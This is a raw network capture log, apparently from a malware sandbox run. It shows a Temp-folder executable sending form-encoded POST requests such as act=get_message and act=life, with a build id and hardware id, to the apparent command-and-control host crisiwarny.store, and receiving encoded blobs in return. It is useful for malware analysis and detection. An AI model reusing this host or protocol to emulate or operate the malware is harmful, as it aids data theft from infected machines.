2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: a0 a0 cb 9e 0f bc 6b e4 26 96 2f 50 75 6d ee b5 16 1e 3f 68 ee 47 3d 70 9f 3a b7 51 2b b5 fa 73 5c b2 57 a2 56 ba 57 b2 b9 73 a5 b9 f2 f5 09 99 f7 0a 2b fd 93 7e 2a 1b db d5 ca 4f 9e c8 06 ea f6 96 8c 67 3e 62 0a ca ef 31 94 c3 a0 88 30 63 93 7f 19 e7 71 c5 98 51 29 10 20 00 1a 98 97 73 ff b7 d4 52 cf 71 96 de 41 04 70 40 bd 98 61 1c bd 0f 24 22 c9 56 8c ca 67 12 7b 93 59 e5 89 d2 8f e0 a9 1f 39 81 ac 6c 8d 93 1b 4c 05 c9 68 d0 76 14 ba cd 45 8b 95 23 6a af 2f 44 ba 70 92 d9 8c a6 18 2e ff 02 59 0b bb 9e 6d ed 91 9c 55 01 e2 e4 88 0c c1 19 ae fb f2 49 8d cf ba 45 6c 2c c7 29 10 a7 68 47 44 70 28 10 6c e8 25 c1 81 26 fc 4a d4 23 32 a7 1d fc 36 bc 46 fc 67 ab 08 9e 9a dd 61 16 6d 93 c8 ae a6 9e ff 52 f2 1d 86 4d 82 5b 7b d1 b8 5e 44 cb 76 56 c0 44 27 63 01 Data Ascii: k&/Pum?hG=p:Q+s\WVWs+~*Og>b10cqQ) sRqAp@a$"Vg{Y9lLhvE#j/Dp.YmUIEl,)hGDp(l%&J#26FgamRM[{^DvVD'c
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: d4 a3 42 0a ff 35 77 57 ad 55 fa f9 c9 04 1d 36 d4 34 39 d4 62 55 74 2c 32 38 93 9e 0c 6c 7b 78 32 13 ca 34 5c c7 f1 41 9c c2 d7 fb 4c fb a5 f2 34 69 e5 17 c8 ad 6c 9e 60 88 52 23 e7 d0 4e b9 2d f4 a9 10 fc 97 ae bf 89 3d 16 cb c3 f6 f5 ba fd dd d6 a4 96 f5 f0 68 7f fb a8 86 24 1b 32 3b de 7f e3 d5 d0 ad e7 99 ed fc dd 17 23 55 cf c0 2f f6 d3 25 40 b7 6c 64 99 7d 74 3e ed 98 b7 e4 ed 2f a6 cf 9e 1e 6e f5 1d f2 80 10 f1 69 70 c4 91 39 2e 8f 47 fe 5e d4 fa c0 d0 aa 60 57 17 20 2e 6c a9 e2 c9 7c d3 fe cd 5f eb 5a 43 93 8a 76 06 5b 2a b3 5b 07 94 18 61 8d bf cb 3d 1e d8 2b 67 08 31 6f d3 64 91 bb 9b fb 02 99 f7 ad bc a1 d4 8c 7f 26 15 c7 68 4d c3 9f 6a 35 32 83 3d 6a 26 76 4b af 29 48 2a 49 83 23 69 d2 2e 93 aa 0f 96 0d 80 00 2b 23 3f 74 1f 62 c5 5c 9d db c8 Data Ascii: B5wWU649bUt,28l{x24\AL4il`R#N-=h$2;#U/%@ld}t>/nip9.G^`W .l\|_ZCv[[a=+g1od&hMj52=j&vK)HI#i.+#?tb\
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: b4 77 17 1a ec 52 be d4 b4 f9 04 a0 73 7e d6 7d cc 6e ba 3b 63 36 65 23 35 7b fe 3d 8f 06 cc a2 d1 95 4e cf fe 01 85 1f 24 65 10 8f 48 1a bd 5c e7 1e 28 24 2e f4 bc 7f 6d 7a c0 51 88 10 a2 26 5e 74 43 5a fc 26 16 8c 69 d4 e1 13 b0 e8 00 4d 9a 59 24 ad c9 0f 75 53 33 1a 16 2d df 8c 9c 96 ae 9d c8 22 21 74 79 61 5c cd 93 8e 4b ce e5 b0 e5 be 90 06 01 9f cb 12 f7 05 b5 06 2f b5 09 5f 7d d8 ba 2e dc fd 25 e4 53 aa 62 aa 2d 7e 49 94 fb bd c3 a5 e7 83 52 66 93 51 47 d8 f5 01 50 68 47 b0 27 e6 18 42 b4 e3 de bd ef 37 d0 d1 9b cd 31 f2 c3 37 de ca d3 73 d8 eb 27 e4 b8 26 f3 3a ce 0b 76 d8 ce 67 a4 a9 9e 0b 6e 6b 02 50 e6 c9 b7 bc 98 a4 9f 9d 87 e3 d6 af 76 fe ee 78 04 48 11 14 71 41 d3 be bf ef aa 5f 85 28 7a 4f dd 79 04 62 dd 72 a1 25 30 b4 46 0e de 90 e5 51 ed Data Ascii: wRs~}n;c6e#5{=N$eH\($.mzQ&^tCZ&iMY$uS3-"!tya\K/_}.%Sb-~IRfQGPhG'B717s'&:vgnkPvxHqA_(zOybr%0FQ
2024-10-26 06:54:47 UTC	15331	OUT	Data Raw: c5 b6 12 e4 dd e5 ea ed 96 49 e8 06 0b f7 34 62 f4 85 f8 91 f6 c5 bb da f7 59 4b db ef 0b 22 d9 97 f0 3e e9 c2 7f fb e3 87 17 78 70 f6 11 77 b9 f1 a4 cc 8c d7 42 4b 39 f1 9d c3 ce 6a da 83 78 22 3d 1e 50 ed 77 6c d5 46 38 15 d5 19 c9 40 1c 2f 14 58 99 c1 97 0e d7 18 01 a3 6a 6e c6 46 32 a1 19 f3 cf e8 5e 90 65 96 ab b4 97 2e 9d a9 bb 80 45 18 1f 64 77 cc d5 fb 25 bb de 6f c3 81 1e 91 bf 42 df e4 f4 27 6c 5c 2b 2b 18 35 26 06 24 52 6c 8e f1 7d f6 4f cb 3c 09 4a df 4d 9c 3e 98 5a ec 5c c2 ce 60 76 c9 fc 31 36 ad aa 83 bc 78 87 46 e4 e9 1f 22 ec 82 c9 76 bc 70 f6 2b 00 b9 eb 91 0e fa d3 07 9d 5e a3 07 c6 aa 52 b9 4f 69 64 dc a6 d0 83 e1 14 c5 79 c4 6a 78 ea d2 48 96 b9 10 6a 35 b9 17 05 4b 77 16 2e 73 ae 89 69 a4 84 39 aa af 49 da c6 a5 c7 e1 70 d2 7e 09 5a Data Ascii: I4bYK">xpwBK9jx"=PwlF8@/XjnF2^e.Edw%oB'l\++5&$Rl}O<JM>Z\`v16xF"vp+^ROidyjxHj5Kw.si9Ip~Z
2024-10-26 06:54:49 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tmo10l3k87ner2qjse391i2hou; expires=Wed, 19 Feb 2025 00:41:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FyAQ5foxP13NKK9fruIt0MYQOFAXgRbm8rAcaSyxL0gACUZtNc3E%2FdGEKO5qf3lC2jEa3E2NPsHnFO6NtIomfBhH08vy%2BswnTrb4ITcgzohZ8qYnIrF8QNKXsEyLOZQHQHhH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88897b5bfb4695-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=948&sent=237&recv=619&lost=0&retrans=0&sent_bytes=2838&recv_bytes=578585&delivery_rate=2937119&cwnd=251&unsent_bytes=0&cid=a4e68419687968f0&ts=2304&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50041	172.67.170.64	443	6120	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:50 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 06:54:50 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=712E0BD30ABFADA15791AE78524BD06B
2024-10-26 06:54:50 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=igdnnrgg1h1vm7r8oac2lgccik; expires=Wed, 19 Feb 2025 00:41:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JkV6Y3TDxZ6qsK431zO%2BDuAytngbdtmmDuywoPXCQN%2BKVy72BmZ7tSNBEnJVfJNNpIZpo16o1W20WA0uEk3Frj8mKIKv6BsW%2BavKcvn%2FZnnbUlSH%2BSbVpfh7E9i8Z8fegEEb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88898dbf532cb6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1953&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=1516230&cwnd=251&unsent_bytes=0&cid=768e7223ba1534a3&ts=694&x=0"
2024-10-26 06:54:50 UTC	299	IN	Data Raw: 31 32 34 0d 0a 53 6d 67 7a 7a 70 38 35 64 4f 47 6e 74 43 42 78 4b 46 77 6d 55 4b 34 35 67 42 72 77 46 50 77 6d 6a 6b 61 51 52 71 38 52 52 54 6f 52 45 78 47 37 76 51 4e 57 69 64 50 41 55 45 74 30 63 33 70 2f 6e 77 47 31 4e 4d 49 6c 79 51 69 2f 64 36 4e 6f 6e 69 63 5a 46 53 63 42 58 61 76 44 46 67 61 41 79 64 42 50 48 41 59 35 58 6a 57 4d 46 61 4a 38 68 44 62 47 46 71 4a 6b 39 57 53 56 49 54 67 57 4d 55 70 47 37 4b 55 62 48 4a 58 54 78 42 6f 74 42 77 41 4a 59 5a 59 4d 72 69 6a 42 49 64 49 58 76 33 57 2b 64 35 6c 4e 61 6b 6b 2b 44 56 4b 6a 77 78 59 47 67 4d 6e 51 54 78 77 47 4f 56 34 31 6a 42 57 69 66 49 51 32 78 68 61 69 5a 50 56 6b 6c 53 45 34 46 6a 46 4b 52 75 79 6c 47 78 79 56 30 38 51 61 4c 51 63 41 43 57 47 57 44 4b 34 6f 77 53 48 53 46 37 39 31 76 6e Data Ascii: 124Smgzzp85dOGntCBxKFwmUK45gBrwFPwmjkaQRq8RRToRExG7vQNWidPAUEt0c3p/nwG1NMIlyQi/d6NonicZFScBXavDFgaAydBPHAY5XjWMFaJ8hDbGFqJk9WSVITgWMUpG7KUbHJXTxBotBwAJYZYMrijBIdIXv3W+d5lNakk+DVKjwxYGgMnQTxwGOV41jBWifIQ2xhaiZPVklSE4FjFKRuylGxyV08QaLQcACWGWDK4owSHSF791vn
2024-10-26 06:54:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	50077	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:55 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 06:54:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 06:54:55 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ql2thslob7mom7gna2u814baph; expires=Wed, 19 Feb 2025 00:41:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aYXI%2FXHi9O01OTChf1AAUudsduJ86%2B9IQmkP5z7E%2BSDS%2FogPgCdfkR0dD3Y2wka37cChR3d34cppk2kn64%2BeFz8P1NghPkrvXR6e%2Fy1G05mYEFT%2FshlwSmkpYoRn50zukbgY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889acfc080c19-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122767&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=23602&cwnd=32&unsent_bytes=0&cid=bf668ca8df15b7e0&ts=414&x=0"
2024-10-26 06:54:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 06:54:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	50079	172.67.170.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:56 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 06:54:56 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 06:54:57 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=koggrc6q0e7vjf4prvbahndi9l; expires=Wed, 19 Feb 2025 00:41:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WsPWeSQCPIWQCh8hpzvgfXWKWt1QL35Ouvc0XR1IdLl5A%2BMx9BCEwO%2B3UeI6%2Bi4sDPHDvUOMPtQHprTE4lD%2B6981EQhOO%2BWsT2bHDUwrrxru3guKypfjnoUMMJLjO2KRfm8F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8889b3dccb6c1a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1673988&cwnd=251&unsent_bytes=0&cid=9c6c1f88e6d446c4&ts=500&x=0"
2024-10-26 06:54:57 UTC	358	IN	Data Raw: 31 35 32 63 0d 0a 68 4e 32 43 58 58 4e 64 71 6d 4f 64 76 56 34 53 42 46 46 79 6a 42 4e 33 70 47 72 52 6b 78 76 42 44 31 41 73 76 37 77 65 68 65 72 2f 2f 2f 52 2f 53 57 6d 47 51 65 37 59 66 43 68 77 49 77 66 70 50 31 58 46 44 76 4f 70 66 61 42 6a 49 30 6d 54 6e 6d 6a 6f 79 4c 36 37 34 7a 45 41 4f 49 5a 42 2b 4d 56 38 4b 46 38 71 55 4f 6c 39 56 5a 35 49 74 50 6c 35 6f 47 4d 79 54 64 54 54 62 75 6d 4a 37 4c 48 6c 4e 52 59 2b 7a 67 4c 78 30 44 74 33 59 54 41 59 34 6e 6f 61 7a 41 66 7a 76 7a 6d 6b 64 58 49 57 6e 66 46 37 38 59 76 4a 76 50 45 32 55 53 43 47 47 4c 2f 59 4d 44 41 2b 63 78 50 70 63 52 76 43 44 72 72 37 63 36 6c 72 4d 30 6a 56 7a 48 66 6a 67 75 79 2f 35 6a 51 63 4e 39 6f 50 2b 39 63 77 63 57 73 77 55 4b 41 78 45 74 35 49 36 37 45 71 6b 57 34 6a 58 Data Ascii: 152chN2CXXNdqmOdvV4SBFFyjBN3pGrRkxvBD1Asv7weher///R/SWmGQe7YfChwIwfpP1XFDvOpfaBjI0mTnmjoyL674zEAOIZB+MV8KF8qUOl9VZ5ItPl5oGMyTdTTbumJ7LHlNRY+zgLx0Dt3YTAY4noazAfzvzmkdXIWnfF78YvJvPE2USCGGL/YMDA+cxPpcRvCDrr7c6lrM0jVzHfjguy/5jQcN9oP+9cwcWswUKAxEt5I67EqkW4jX
2024-10-26 06:54:57 UTC	1369	IN	Data Raw: 39 39 51 33 64 58 51 34 47 65 4e 38 46 63 73 43 76 50 4a 35 70 47 63 34 51 64 66 61 63 65 71 4f 35 72 2b 67 63 56 45 34 30 45 47 6e 6e 78 39 31 64 6a 51 63 2b 44 4d 76 68 68 66 39 36 44 6d 6b 59 58 49 57 6e 64 5a 35 35 49 76 74 73 4f 4d 33 47 69 33 49 45 2f 6e 53 4f 57 4a 67 4e 68 37 6b 63 67 66 4d 42 72 58 79 63 4b 68 6b 4e 30 6e 5a 6e 6a 4b 6e 6a 2f 37 2f 75 48 38 77 4d 73 4d 4e 39 63 67 38 4d 48 6c 39 43 61 35 32 47 59 5a 51 38 2f 56 34 70 32 77 32 51 4e 50 61 63 4f 47 47 36 37 44 6d 4e 52 45 34 77 67 6e 33 33 6a 46 37 61 54 4d 56 34 33 55 54 79 67 6d 32 73 54 66 6a 61 69 6f 4f 68 5a 35 53 34 49 76 30 2f 64 55 38 48 7a 48 50 46 37 2f 41 63 6d 6b 6d 4e 42 79 75 4b 56 58 49 44 62 7a 6a 65 4c 46 6f 50 46 7a 52 32 33 72 71 69 2b 69 2f 35 54 67 63 4d 63 34 Data Ascii: 99Q3dXQ4GeN8FcsCvPJ5pGc4QdfaceqO5r+gcVE40EGnnx91djQc+DMvhhf96DmkYXIWndZ55IvtsOM3Gi3IE/nSOWJgNh7kcgfMBrXycKhkN0nZnjKnj/7/uH8wMsMN9cg8MHl9Ca52GYZQ8/V4p2w2QNPacOGG67DmNRE4wgn33jF7aTMV43UTygm2sTfjaioOhZ5S4Iv0/dU8HzHPF7/AcmkmNByuKVXIDbzjeLFoPFzR23rqi+i/5TgcMc4
2024-10-26 06:54:57 UTC	1369	IN	Data Raw: 6d 6b 6d 4e 42 79 75 4b 56 58 4b 41 62 50 36 63 36 64 74 4e 55 50 59 33 58 76 6b 68 65 47 31 37 6a 67 56 4d 38 45 4d 2b 64 38 37 64 47 4d 68 46 65 64 39 47 59 5a 47 38 2f 5a 68 34 7a 56 79 59 64 72 49 66 38 69 4c 39 37 61 67 49 46 38 6d 69 41 62 7a 6e 32 51 77 59 54 59 59 35 58 63 64 78 68 71 32 2f 33 4b 69 5a 7a 52 50 30 4e 4a 36 35 34 6e 6d 75 65 77 2f 46 6a 6a 61 45 2f 72 5a 4c 6e 6f 6d 66 56 44 70 61 56 57 65 53 49 58 68 62 72 4a 37 63 48 76 65 30 48 4c 67 6e 71 61 67 72 69 5a 52 4f 4d 52 42 70 35 38 33 63 47 6f 30 47 4f 68 31 48 63 6b 48 75 75 4e 34 72 32 4d 67 53 64 33 58 63 75 69 45 37 37 4c 6e 4d 68 6f 31 78 51 58 34 33 6e 77 2b 4a 6a 51 49 72 69 6c 56 38 42 69 2b 2f 56 65 6f 59 54 73 4f 77 70 42 6c 70 34 2f 71 2f 37 68 2f 46 54 50 41 43 2f 44 57 Data Ascii: mkmNByuKVXKAbP6c6dtNUPY3XvkheG17jgVM8EM+d87dGMhFed9GYZG8/Zh4zVyYdrIf8iL97agIF8miAbzn2QwYTYY5Xcdxhq2/3KiZzRP0NJ654nmuew/FjjaE/rZLnomfVDpaVWeSIXhbrJ7cHve0HLgnqagriZROMRBp583cGo0GOh1HckHuuN4r2MgSd3XcuiE77LnMho1xQX43nw+JjQIrilV8Bi+/VeoYTsOwpBlp4/q/7h/FTPAC/DW
2024-10-26 06:54:57 UTC	1369	IN	Data Raw: 51 55 36 48 35 56 69 45 69 30 36 54 6e 37 4c 52 31 70 36 4a 78 64 33 63 6a 35 38 66 6c 2f 46 6a 4f 49 57 62 2f 54 50 33 78 75 50 42 62 6e 66 52 2f 50 41 37 2f 36 66 61 39 6b 4e 30 6a 63 32 33 6e 6d 6a 4f 71 31 35 6a 77 53 4d 4d 63 4f 39 35 39 79 4d 47 45 72 55 4c 59 78 4d 4e 45 44 76 66 63 35 76 43 4d 72 44 74 72 53 50 4c 2f 49 36 72 62 6d 4f 52 51 7a 79 51 66 33 32 6a 52 30 5a 7a 55 57 37 58 34 52 77 77 6d 38 39 58 57 74 5a 7a 4e 50 30 64 56 7a 37 49 32 6d 38 61 41 34 43 58 2b 51 51 63 37 63 4b 6d 64 32 50 31 44 78 50 77 79 47 44 37 2b 78 49 65 4e 73 49 45 54 58 30 48 6e 6f 6a 65 57 77 35 7a 49 58 4d 38 49 49 39 39 6b 7a 65 58 51 77 48 4f 42 32 47 38 6f 47 76 76 74 36 72 69 31 38 44 74 72 47 50 4c 2f 49 79 72 6a 74 45 52 6f 7a 7a 30 48 67 6b 53 55 77 59 Data Ascii: QU6H5ViEi06Tn7LR1p6Jxd3cj58fl/FjOIWb/TP3xuPBbnfR/PA7/6fa9kN0jc23nmjOq15jwSMMcO959yMGErULYxMNEDvfc5vCMrDtrSPL/I6rbmORQzyQf32jR0ZzUW7X4Rwwm89XWtZzNP0dVz7I2m8aA4CX+QQc7cKmd2P1DxPwyGD7+xIeNsIETX0HnojeWw5zIXM8II99kzeXQwHOB2G8oGvvt6ri18DtrGPL/IyrjtERozz0HgkSUwY
2024-10-26 06:54:57 UTC	963	IN	Data Raw: 78 54 59 59 2b 74 4f 46 70 6f 43 38 44 57 4e 37 49 64 2b 71 45 70 71 43 75 4a 6c 45 34 78 45 47 6e 6e 7a 70 2f 62 7a 41 66 37 33 67 5a 79 77 32 36 39 48 69 6c 61 54 68 45 33 64 68 36 35 6f 33 73 76 4f 45 31 47 44 6a 41 42 76 7a 4e 66 44 34 6d 4e 41 69 75 4b 56 58 76 44 36 48 2f 61 65 4e 79 66 46 65 64 32 58 43 6e 30 4b 61 37 36 6a 41 56 4f 4d 51 48 2b 74 6b 78 63 57 6b 79 45 4f 46 31 48 73 38 4f 73 76 78 38 72 6d 6b 67 52 4e 62 52 63 4f 36 45 36 2f 2b 75 66 78 59 6e 69 46 6d 2f 37 6a 46 2b 61 44 51 47 72 6d 35 62 33 30 69 30 2f 54 6e 37 4c 54 4e 43 30 74 31 7a 35 49 76 6e 74 66 49 74 48 54 62 41 42 50 50 55 4d 6e 5a 30 4e 52 2f 6e 63 68 62 50 44 37 76 39 63 36 42 71 63 67 43 64 32 57 53 6e 30 4b 61 63 39 79 38 63 66 39 64 50 35 70 38 37 66 43 5a 72 55 4f Data Ascii: xTYY+tOFpoC8DWN7Id+qEpqCuJlE4xEGnnzp/bzAf73gZyw269HilaThE3dh65o3svOE1GDjABvzNfD4mNAiuKVXvD6H/aeNyfFed2XCn0Ka76jAVOMQH+tkxcWkyEOF1Hs8Osvx8rmkgRNbRcO6E6/+ufxYniFm/7jF+aDQGrm5b30i0/Tn7LTNC0t1z5IvntfItHTbABPPUMnZ0NR/nchbPD7v9c6BqcgCd2WSn0Kac9y8cf9dP5p87fCZrUO
2024-10-26 06:54:57 UTC	1369	IN	Data Raw: 32 66 34 30 0d 0a 76 76 49 77 47 6a 72 4c 42 66 44 51 4d 48 68 73 63 31 36 75 64 67 32 47 55 50 50 64 65 72 4a 6e 63 47 6e 48 79 48 76 72 6d 65 32 79 37 48 38 4f 63 64 46 42 2b 4e 4e 38 4b 43 59 7a 45 65 4e 6a 45 4d 63 43 75 66 78 78 72 47 67 33 51 64 6e 61 64 2b 6d 61 36 4c 44 67 4f 52 6f 2b 7a 51 4c 30 31 54 4a 35 64 48 4e 65 72 6e 59 4e 68 6c 44 7a 32 32 4b 69 59 44 34 4d 38 39 56 71 34 4d 72 48 73 65 73 34 48 53 6d 49 48 72 48 47 66 48 64 71 63 30 69 75 65 42 76 4b 43 37 54 35 63 61 5a 74 4f 55 37 53 31 48 4c 67 6d 75 79 7a 36 69 30 65 50 4d 55 46 38 74 55 35 65 58 51 32 47 65 67 78 57 34 59 50 71 37 45 68 34 31 55 35 51 4f 2f 64 5a 36 65 58 71 4b 61 67 4f 42 31 2f 6b 45 48 38 32 44 39 78 62 44 6f 63 34 58 59 52 31 41 4b 30 34 33 69 69 5a 6a 39 43 33 Data Ascii: 2f40vvIwGjrLBfDQMHhsc16udg2GUPPderJncGnHyHvrme2y7H8OcdFB+NN8KCYzEeNjEMcCufxxrGg3Qdnad+ma6LDgORo+zQL01TJ5dHNernYNhlDz22KiYD4M89Vq4MrHses4HSmIHrHGfHdqc0iueBvKC7T5caZtOU7S1HLgmuyz6i0ePMUF8tU5eXQ2GegxW4YPq7Eh41U5QO/dZ6eXqKagOB1/kEH82D9xbDoc4XYR1AK043iiZj9C3
2024-10-26 06:54:57 UTC	1369	IN	Data Raw: 46 36 66 2f 2f 63 51 68 2f 7a 77 32 2f 68 33 78 69 64 44 4d 62 37 6e 59 62 31 41 6d 37 2f 6e 4f 6a 61 7a 6c 45 33 74 64 34 36 59 48 67 76 75 30 2b 45 44 2f 4e 41 66 62 4e 4d 54 41 6f 63 78 66 32 4d 55 32 47 50 37 2f 36 53 4b 42 37 63 6c 47 54 78 7a 7a 67 68 4b 62 6e 6f 44 34 44 4d 73 41 46 2f 39 49 36 65 32 63 79 45 2b 35 78 46 73 59 4e 75 50 35 2f 70 47 41 34 52 39 54 4d 64 4f 4f 61 35 72 50 6b 66 31 39 2f 7a 78 6d 2f 68 33 78 41 5a 54 67 63 37 6e 77 41 68 68 66 39 36 44 6d 6b 59 58 49 57 6e 64 5a 33 37 49 37 74 76 4f 4d 78 47 6a 58 48 44 76 58 5a 4f 6e 68 6a 4d 78 7a 75 64 42 50 43 44 4c 33 32 64 36 35 73 49 45 33 55 6e 6a 4b 6e 6a 2f 37 2f 75 48 38 78 4e 4e 34 45 2b 4d 6c 2b 52 57 55 39 48 75 6c 6e 56 64 6b 33 2f 62 46 32 75 53 31 71 64 38 53 65 65 2b Data Ascii: F6f//cQh/zw2/h3xidDMb7nYb1Am7/nOjazlE3td46YHgvu0+ED/NAfbNMTAocxf2MU2GP7/6SKB7clGTxzzghKbnoD4DMsAF/9I6e2cyE+5xFsYNuP5/pGA4R9TMdOOa5rPkf19/zxm/h3xAZTgc7nwAhhf96DmkYXIWndZ37I7tvOMxGjXHDvXZOnhjMxzudBPCDL32d65sIE3UnjKnj/7/uH8xNN4E+Ml+RWU9HulnVdk3/bF2uS1qd8See+
2024-10-26 06:54:57 UTC	1369	IN	Data Raw: 33 67 45 78 4e 4d 51 43 38 39 34 37 4d 43 68 7a 48 36 34 70 4c 49 59 4c 6f 65 4d 32 73 6e 73 2f 58 74 71 53 64 50 61 46 36 76 2b 75 66 31 30 37 77 77 33 36 32 43 77 2f 64 43 4d 62 34 6d 64 5a 77 68 72 7a 76 7a 6d 79 5a 6a 31 63 30 39 6b 7a 39 70 37 72 72 2b 4d 36 46 6e 50 41 45 50 4c 54 66 44 34 6d 4a 68 76 69 64 78 6a 54 52 36 4c 6e 65 72 56 71 66 6b 62 4d 30 33 43 6e 74 36 6a 2f 2b 48 39 4a 66 2f 30 43 38 64 45 37 5a 6e 64 2b 4d 4f 56 39 46 73 6f 4a 74 4c 45 33 34 32 74 79 46 6f 36 51 50 4f 4f 5a 70 75 65 77 62 55 70 71 6d 31 61 76 6a 53 4d 2b 66 33 4d 47 72 69 6c 48 69 45 69 68 73 53 48 6a 4b 6a 46 63 7a 39 68 2f 38 59 75 68 67 64 34 2b 48 44 43 45 44 2f 54 66 4f 32 42 77 4b 46 7a 6d 63 67 2f 63 4e 6f 33 61 64 61 56 71 4b 45 6e 62 2b 46 79 6e 78 71 61 Data Ascii: 3gExNMQC8947MChzH64pLIYLoeM2sns/XtqSdPaF6v+uf107ww362Cw/dCMb4mdZwhrzvzmyZj1c09kz9p7rr+M6FnPAEPLTfD4mJhvidxjTR6LnerVqfkbM03Cnt6j/+H9Jf/0C8dE7Znd+MOV9FsoJtLE342tyFo6QPOOZpuewbUpqm1avjSM+f3MGrilHiEihsSHjKjFcz9h/8Yuhgd4+HDCED/TfO2BwKFzmcg/cNo3adaVqKEnb+Fynxqa
